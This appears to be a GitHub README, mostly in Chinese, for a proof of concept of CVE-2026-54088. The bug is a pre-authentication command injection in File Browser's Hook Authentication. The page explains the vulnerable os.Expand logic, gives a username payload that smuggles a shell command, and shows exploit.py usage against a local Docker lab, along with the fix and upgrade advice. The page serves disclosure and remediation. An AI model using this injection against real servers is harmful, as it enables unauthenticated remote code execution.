Saku0512/CVE-2026-54088-poc

GitHub: Saku0512/CVE-2026-54088-poc

该项目是 File Browser CVE-2026-54088 认证前命令注入漏洞的概念验证,用于复现和分析该漏洞的利用路径与修复方案。

Stars: 0 | Forks: 0

# CVE-2026-54088:File Browser Hook Authentication 命令注入 PoC ## 描述 本仓库包含 CVE-2026-54088 的概念验证(PoC),这是 **File Browser**(版本 `<= 2.63.5`)中的一个严重 OS 命令注入漏洞。 该漏洞存在于 **Hook Authentication** 功能中。当管理员配置 File Browser 使用外部命令对用户进行身份验证时,登录提供的 `username` 和 `password` 值会通过 `os.Expand()` 展开到配置的命令字符串中,且未进行任何转义。未经身份验证的远程攻击者可以通过登录请求注入 shell 语法,并在身份验证成功之前执行任意命令。 **发现者:** saku0512 (https://github.com/Saku0512) ## 免责声明 本项目仅用于教育和合乎道德的安全测试目的。 对于因使用此工具而导致的任何误用、损坏或非法活动,作者概不负责。未经授权访问计算机系统是非法的。请仅在您拥有明确授权进行安全测试的环境中使用此软件。 ## 漏洞详情 - **CVE ID:** CVE-2026-54088 - **公告:** GHSA-m93h-4hw7-5qcm - **类型:** OS 命令注入 (CWE-78) - **影响:** 认证前远程代码执行 (RCE) - **受影响版本:** File Browser `<= 2.63.5` - **修复版本:** File Browser `2.63.6` - **受影响文件:** `auth/hook.go` - **受影响函数:** `HookAuth.RunCommand` ### 根本原因 `HookAuth.RunCommand()` 会拆分配置的身份验证命令,并使用攻击者控制的请求数据展开凭据占位符: ``` envMapping := func(key string) string { switch key { case "USERNAME": return a.Cred.Username case "PASSWORD": return a.Cred.Password default: return os.Getenv(key) } } for i, arg := range command { if i == 0 { continue } command[i] = os.Expand(arg, envMapping) } ``` 如果 hook 命令配置为: ``` sh -c $USERNAME ``` 并且攻击者提交了如下用户名: ``` touch /tmp/fb_hook_auth_pwned; echo hook.action=block ``` 服务器将在登录尝试期间执行攻击者控制的 shell 脚本。此过程不需要有效的账户或密码。 ### 修复代码 该问题已在提交 [`34ae34e764d72540c039f1f5ea2ec4c974168c1f`](https://github.com/filebrowser/filebrowser/commit/34ae34e764d72540c039f1f5ea2ec4c974168c1f) 中修复,方法是从 hook 命令字符串中移除了凭据替换。现在,hook 命令会按配置原样执行,而凭据仅通过环境变量提供: ``` command := strings.Split(a.Command, " ") cmd := exec.Command(command[0], command[1:]...) cmd.Env = append(os.Environ(), fmt.Sprintf("USERNAME=%s", a.Cred.Username)) cmd.Env = append(cmd.Env, fmt.Sprintf("PASSWORD=%s", a.Cred.Password)) ``` 被移除的易受攻击逻辑是 `os.Expand()` 循环,该循环会在调用 `exec.Command()` 之前,使用攻击者控制的凭据值重写命令参数。该修复还添加了回归测试,以确保注入的凭据无法更改 hook 命令,并且 `USERNAME` / `PASSWORD` 仍然可以通过环境提供给 hooks。 ## 概念验证(用法) ### 1. 环境设置 启动存在漏洞的 File Browser 环境。`filebrowser-init` 服务会创建数据库,并使用存在漏洞的命令启用 Hook Authentication。 ``` docker compose up -d ``` 目标将可通过以下地址访问: ``` http://localhost:8080 ``` ### 2. 执行 Exploit 在此目录下运行 exploit 脚本: ``` python3 exploit.py -t http://localhost:8080 -c "touch /tmp/fb_hook_auth_pwned" ``` exploit 会向 `/api/login` 发送单个未经身份验证的登录请求。预期身份验证会失败,但注入的命令会先执行。 ### 3. 验证 验证命令是否已在 File Browser 容器内执行: ``` docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_pwned ``` 如果文件存在,则确认发生了认证前 RCE。 ### 4. 清理 ``` docker compose down -v ``` ## 修复建议 将 File Browser 更新到 **版本 2.63.6** 或更高版本。 凭据应仅作为环境变量传递给 hook 命令,而不是插入到 shell 命令字符串中。任何剩余的命令执行路径都应避免 shell 求值,或使用严格的参数分离和转义。 ## 参考 - [File Browser GitHub 仓库](https://github.com/filebrowser/filebrowser) - [File Browser v2.63.5 存在漏洞的实现](https://github.com/filebrowser/filebrowser/blob/v2.63.5/auth/hook.go) - [修复提交:移除带有 shell 替换的未记录 hook 身份验证](https://github.com/filebrowser/filebrowser/commit/34ae34e764d72540c039f1f5ea2ec4c974168c1f)
标签:CISA项目, Go, PoC, RCE, Ruby工具, Web安全, 命令注入, 安全, 暴力破解, 版权保护, 蓝队分析, 请求拦截, 超时处理, 逆向工具